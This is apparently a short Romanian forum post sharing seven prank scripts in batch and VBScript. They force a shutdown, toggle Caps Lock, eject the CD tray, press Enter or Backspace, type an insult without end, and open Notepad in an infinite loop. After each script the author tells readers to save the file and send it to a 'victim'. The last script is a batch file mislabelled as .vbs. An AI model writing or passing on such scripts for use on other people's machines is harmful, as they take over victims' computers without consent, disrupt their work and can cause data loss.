Script-Uri Notepad - Batch, Vbs, Etc.

[+Hell_Spawn]

1) Afisarea unui mic mesaj urmata de stingerea calculatorului

@echo off

msg * I don't like you

shutdown -c "Error! You are too stupid!" -s

Salvati fisierul .bat si trimiteti la victima 2) Aprinderea/stingerea rapida a butonului de caps lock

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Salvati fisierul cu extensia .vbs si trimiteti 3) Scoaterea CD-Drive`ului pe termen nelimitat

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Salvati fisierul cu extensia .vbs si trimiteti 4) Lovirea butonlui enter simultan

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Salvati fisierul cu extensia .vbs si trimiteti 5) Lovirea butonului backspace simultan

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

Salvati fisierul cu extensia .vbs si trimiteti 6) Scierea automata de la tastatura "you are a fool"=Esti pr**t

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a fool."

loop

Salvati fisierul cu extensia .vbs si trimiteti 7) Deschiderea programului notepad incontinua

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Salvati fisierul cu extensia .vbs si trimiteti

Sper ca vau fost de folos aceste scripturi la ceva

[Cosmin.]

Tare